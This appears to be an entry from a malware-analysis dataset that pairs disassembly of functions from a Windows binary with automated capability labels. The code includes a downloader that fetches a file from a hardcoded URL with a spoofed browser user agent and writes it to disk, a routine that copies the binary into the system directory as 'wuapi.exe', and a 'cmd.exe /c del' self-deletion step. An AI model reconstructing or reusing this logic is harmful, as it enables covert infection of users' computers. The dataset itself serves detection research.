joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4436b0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4436e3
push esi
call fcn.004467a0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4436dc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x443769
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x443752
mov eax, dword [esi + 8]
test eax, eax
je 0x443707
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44374e
cmp eax, 2
je 0x443752
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4436fa
cmp eax, 3
je 0x44372d
cmp eax, 1
jne 0x4436fa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4436fa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4436fa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00443790
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x443778
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00443790
add esp, 4
pop esi
ret

Function at 0x450000
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4500a3
test eax, eax
jbe 0x4500a3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4500a3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x45004e
xor esi, esi
jmp 0x450054
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x45007f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00408b70
add esi, eax
push esi
mov ebx, esi
call fcn.00408b70
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x450060
pop ebp
test edi, edi
pop edi
jne 0x4500a3
test ebx, ebx
je 0x4500a3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0045ccc0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4501e5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4502fd
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4502fd
mov eax, dword [esi + 0x3c]
push eax
call fcn.0046dca3
mov esi, eax
test esi, esi
je 0x4502fd
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x4502fd
mov ecx, esi
call fcn.00450150
cmp edi, eax
jge 0x4502fd
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x450283
mov dword [esp + 0x34], 1
jmp 0x4502de
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x4502fd
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044e9f0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x46e647
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46e67f
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046c6fe
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046c6d6
jmp 0x46e68b
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46fd39
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46fd7b
call fcn.00475a23
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46fd7b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46fd72
xor eax, eax
jmp 0x46fd83
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046fd89
pop edi
pop esi
pop ebx
ret 4
Function at 0x475f53
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x475f81
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x475f9f
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00475eb9
jmp 0x475f9f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x475f9f
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00475eb9
test edi, edi
mov eax, edi
jne 0x475f89
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov eax, ebx
push esi
xor esi, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401010
sub eax, edx
xor edx, edx
mov ecx, 3
div ecx
test edx, edx
je 0x40102d
push 0
call fcn.004026d8
mov al, byte [ebx]
test al, al
push edi
mov edi, dword [esp + 0x14]
je 0x40105f
lea ecx, [ebx + 2]
jmp 0x401040
mov bl, byte [ecx]
mov dl, 0xa
imul dl
add al, byte [ecx - 1]
mov dl, 0xa
imul dl
add al, bl
add al, 0x30
add ecx, 3
mov byte [esi + edi], al
mov al, byte [ecx - 2]
inc esi
test al, al
jne 0x401040
mov byte [esi + edi], 0
pop edi
pop esi
pop ebx
ret

Function at 0x401070
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x40a070]
push ebx
push esi
push edi
mov dword [esp + 0x11c], eax
mov byte [esp + 0x10], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
push 0
push 0
push 0
stosw word es:[edi], ax
push 0
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__.NET_CLR_1.1.4322_
mov dword [esp + 0x20], 0
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [ebp + 8]
push 0
push 0x80000000
push 0
push 0
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x401143
push 0
lea edx, [esp + 0x10]
push edx
push 0
push 0x13
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
push 0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0x13
push ebx
call dword [0x40aa6c]
test eax, eax
je 0x401116
mov edi, 0x40833c
lea esi, [esp + 0x10]
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401143
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
lea eax, [esp + 0xc]
push eax
push ecx
push edx
push ebx
call dword [0x40aa44]
neg eax
sbb eax, eax
neg eax
mov ecx, dword [esp + 0x11c]
call fcn.00402749
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x11c]
xor eax, eax
call fcn.00402749
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401160
Capabilities:
Create http request
Terminate process
Write file on windows

Disassembly:
sub esp, 0x54
mov eax, dword [0x40a070]
mov dword [esp + 0x50], eax
xor eax, eax
xor ecx, ecx
push ebx
mov dword [esp + 0x15], eax
mov dword [esp + 0x35], ecx
mov dword [esp + 0x19], eax
mov dword [esp + 0x39], ecx
push ebp
xor ebx, ebx
mov dword [esp + 0x21], eax
mov dword [esp + 0x41], ecx
push esi
mov dword [esp + 0x29], eax
mov dword [esp + 0x49], ecx
push ebx
mov dword [esp + 0x31], eax
mov dword [esp + 0x51], ecx
push ebx
mov dword [esp + 0x39], eax
mov dword [esp + 0x59], ecx
push ebx
mov dword [esp + 0x41], eax
mov dword [esp + 0x61], ecx
push ebx
mov word [esp + 0x49], ax
mov word [esp + 0x69], cx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__.NET_CLR_1.1.4322_
mov byte [esp + 0x30], bl
mov byte [esp + 0x4f], al
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov byte [esp + 0x23], bl
mov byte [esp + 0x50], bl
mov byte [esp + 0x6f], cl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, dword [esp + 0x64]
push ebx
push 0x80000000
push ebx
push ebx
mov ebp, eax
push edx
push ebp
mov dword [esp + 0x30], ebp
call dword [0x40aa54]
push ebx
mov esi, eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0x13
push esi
call dword [0x40aa6c]
push ebx
push 1
push str.http:__fucknaver_
call dword [0x40aa4c]
push ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x24]
push eax
push 0x13
push esi
call dword [0x40aa6c]
test eax, eax
je 0x401341
push 3
lea ecx, [esp + 0x20]
push 0x40833c
push ecx
call fcn.004027f0
add esp, 0xc
test eax, eax
jne 0x401331
push ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x44]
push eax
push 5
push esi
call dword [0x40aa6c]
push ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x44]
push edx
push 5
push esi
call dword [0x40aa6c]
test eax, eax
je 0x401331
lea eax, [esp + 0x3c]
push edi
push eax
call fcn.004027df
mov ecx, dword [esp + 0x70]
add esp, 4
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401330
lea edx, [esp + 0x14]
push edx
push 1
lea eax, [esp + 0x1b]
push eax
push esi
call dword [0x40aa44]
test eax, eax
je 0x401306
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x14], ebx
je 0x401302
push ebx
lea ecx, [esp + 0x1c]
push ecx
push 1
lea edx, [esp + 0x1f]
push edx
push edi
call ebp
lea eax, [esp + 0x14]
push eax
push 1
lea ecx, [esp + 0x1b]
push ecx
push esi
call dword [0x40aa44]
test eax, eax
jne 0x4012d5
mov ebp, dword [esp + 0x1c]
push esi
call dword [0x40aa78]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x6c]
push 5
push edx
call dword [0x40aa48]
pop edi
mov ecx, dword [esp + 0x5c]
pop esi
pop ebp
pop ebx
call fcn.00402749
add esp, 0x54
ret
push esi
call dword [0x40aa78]
push ebp
call dword [0x40aa78]
push ebx
call fcn.004026d8
int3
Function at 0x401360
Capabilities:
Create process on windows
Get common file path
Resume thread
Self delete
Terminate process

Disassembly:
sub esp, 0x364
mov eax, dword [0x40a070]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x370], eax
push 0x104
lea eax, [esp + 0x68]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4014ff
push 0x104
lea ecx, [esp + 0x68]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4014ff
push 0x104
lea eax, [esp + 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x26c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4013c7
mov ecx, dword [str.cmd.exe]
mov edx, dword [0x4083b8]
mov al, byte [0x4083bc]
mov dword [edi], ecx
push str.__c__del
lea ecx, [esp + 0x16c]
mov dword [edi + 4], edx
push ecx
mov byte [edi + 8], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
push edx
lea eax, [esp + 0x16c]
push eax
call esi
push str.___nul
lea ecx, [esp + 0x16c]
push ecx
call esi
lea edx, [esp + 0x168]
push edx
lea eax, [esp + 0x270]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor eax, eax
mov ecx, 0x10
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
mov word [esp + 0x54], bx
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0xc
push 0
push 0
push 0
lea ecx, [esp + 0x28c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4014f1
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [esp + 0x370]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
call fcn.00402749
add esp, 0x364
ret
push 0x20
call ebp
push eax
call esi
push 0
call ebx
push eax
call edi
push 0
call fcn.004026d8
int3
Function at 0x401870
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4018ff
push edi
push 2
push 0
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [esp + 0x14]
push 0
lea ecx, [esp + 0xc]
push ecx
push 0x26
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4018fe
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018d0
sub eax, edx
cmp eax, 0x26
je 0x4018fe
xor edx, edx
mov dword [edi], edx
mov dword [edi + 4], edx
mov dword [edi + 8], edx
mov dword [edi + 0xc], edx
mov dword [edi + 0x10], edx
mov dword [edi + 0x14], edx
mov dword [edi + 0x18], edx
mov dword [edi + 0x1c], edx
mov dword [edi + 0x20], edx
mov word [edi + 0x24], dx
pop edi
pop esi
pop ecx
ret

Function at 0x401910
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401970
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401970
mov edx, dword [esp + 0x10]
mov eax, edx
push edi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401952
push 0
lea ecx, [esp + 0xc]
push ecx
sub eax, edi
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
pop edi
jne 0x401975
xor eax, eax
pop esi
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ecx
ret
Function at 0x401e30
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x40a070]
push edi
mov dword [esp + 0x21c], eax
xor eax, eax
mov byte [esp + 0x110], 0
mov ecx, 0x40
lea edi, [esp + 0x111]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x110]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401e94
mov ecx, dword [str.wuapi.exe]
mov edx, dword [0x4084fc]
mov ax, word [0x408500]
mov dword [edi], ecx
mov cl, byte [0x408502]
mov dword [edi + 4], edx
mov word [edi + 8], ax
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x114]
push eax
mov byte [edi + 0xa], cl
call fcn.00401870
add esp, 8
push 0
lea ecx, [esp + 0x114]
push ecx
push 0x40a940
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x401f57
lea eax, [esp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ef5
sub eax, edx
cmp eax, 0x26
jne 0x401f10
lea edx, [esp + 8]
push edx
call fcn.00401c60
add esp, 4
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
call fcn.00401510
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x118]
push edx
call fcn.00401910
lea eax, [esp + 0x14]
push eax
call fcn.00401990
add esp, 0x10
test eax, eax
je 0x401f57
lea ecx, [esp + 8]
push ecx
call fcn.00401a90
add esp, 4
mov ecx, dword [esp + 0x21c]
call fcn.00402749
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x278
mov eax, dword [0x40a070]
mov dword [esp + 0x274], eax
push esi
push edi
xor eax, eax
mov byte [esp + 0x170], 0
mov ecx, 0x40
lea edi, [esp + 0x171]
rep stosd dword es:[edi], eax
mov ecx, dword [0x40a06c]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x170]
push eax
push ecx
call section..text
add esp, 8
lea edx, [esp + 0x170]
push edx
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4083c8
push 0x40a940
mov dword [0x40aa44], eax
call fcn.00402860
add esp, 8
test eax, eax
jne 0x402446
call fcn.00401e30
call fcn.00402070
call fcn.00401360
xor eax, eax
mov ecx, dword [esp + 0x27c]
call fcn.00402749
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [ebp + 0x10]
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402450
sub eax, edx
mov dword [esp + 0xc], eax
je 0x4024dd
push str.start
push esi
call fcn.00402860
add esp, 8
test eax, eax
je 0x4024dd
call fcn.00402360
xor eax, eax
mov byte [esp + 0x68], 0
mov ecx, 0x40
lea edi, [esp + 0x69]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push eax
push 0x40a940
call fcn.00401870
lea eax, [esp + 0x70]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024a4
sub eax, edx
cmp eax, 0x26
jne 0x4024bf
lea ecx, [esp + 0x68]
push ecx
call fcn.00401a90
add esp, 4
call fcn.00402070
mov eax, 1
mov ecx, dword [esp + 0x27c]
call fcn.00402749
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov edi, 0x40a940
mov dword [esp + 0x4c], 1
mov word [esp + 0x50], 5
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402500
mov edx, dword [str.__start]
mov eax, dword [0x408548]
mov dword [edi], edx
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x40a940
push 0
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x27c]
xor eax, eax
call fcn.00402749
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402615
Capabilities:
Terminate process

Disassembly:
push 8
push 0x408668
call fcn.00402f1c
push 8
call fcn.00402d6e
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x40aac0], esi
jne 0x402649
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x40aabc], esi
mov al, byte [ebp + 0x10]
mov byte [0x40aab8], al
cmp dword [ebp + 0xc], edi
jne 0x402693
cmp dword [0x40b28c], edi
je 0x402683
mov eax, dword [0x40b288]
sub eax, 4
mov dword [0x40b288], eax
cmp eax, dword [0x40b28c]
jb 0x402683
mov eax, dword [eax]
cmp eax, edi
je 0x402664
call eax
jmp 0x402664
push 0x40a054
mov eax, 0x40a050
call fcn.00402593
pop ecx
push 0x40a05c
mov eax, 0x40a058
call fcn.00402593
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x4026c4
cmp dword [ebp + 0x10], edi
jne 0x4026d2
mov dword [0x40aac0], esi
push dword [ebp + 8]
call fcn.00402551
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x4026d1
push 8
call fcn.00402cb9
pop ecx
ret
call fcn.00402f57
ret
Function at 0x402a46
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x408688
call fcn.00402f1c
mov edi, 0x94
mov eax, edi
call fcn.004029c0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40aa80], ecx
mov eax, dword [esi + 4]
mov dword [0x40aa8c], eax
mov edx, dword [esi + 8]
mov dword [0x40aa90], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40aa84], esi
cmp ecx, 2
je 0x402aa6
or esi, 0x8000
mov dword [0x40aa84], esi
shl eax, 8
add eax, edx
mov dword [0x40aa88], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x402ae1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402ae1
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x402af9
cmp eax, 0x20b
je 0x402ae6
mov dword [ebp - 0x1c], esi
jmp 0x402b0d
cmp dword [ecx + 0x84], 0xe
jbe 0x402ae1
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x402b07
cmp dword [ecx + 0x74], 0xe
jbe 0x402ae1
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.004040e4
pop ecx
test eax, eax
jne 0x402b21
push 0x1c
call fcn.00402a22
pop ecx
call fcn.00403640
test eax, eax
jne 0x402b32
push 0x10
call fcn.00402a22
pop ecx
call fcn.00402e91
mov dword [ebp - 4], esi
call fcn.00403ecc
test eax, eax
jge 0x402b4b
push 0x1b
call fcn.004029fd
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40b280], eax
call fcn.00403daa
mov dword [0x40aac4], eax
call fcn.00403d08
test eax, eax
jge 0x402b71
push 8
call fcn.004029fd
pop ecx
call fcn.00403ad5
test eax, eax
jge 0x402b82
push 9
call fcn.004029fd
pop ecx
push 1
call fcn.004025ab
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x402b98
push eax
call fcn.004029fd
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00403a78
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x402bb9
movzx eax, word [ebp - 0x40]
jmp 0x402bbc
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.004023a0
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x402bda
push edi
call fcn.004026d8
call fcn.004026fa
jmp 0x402c0c
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00402f57
ret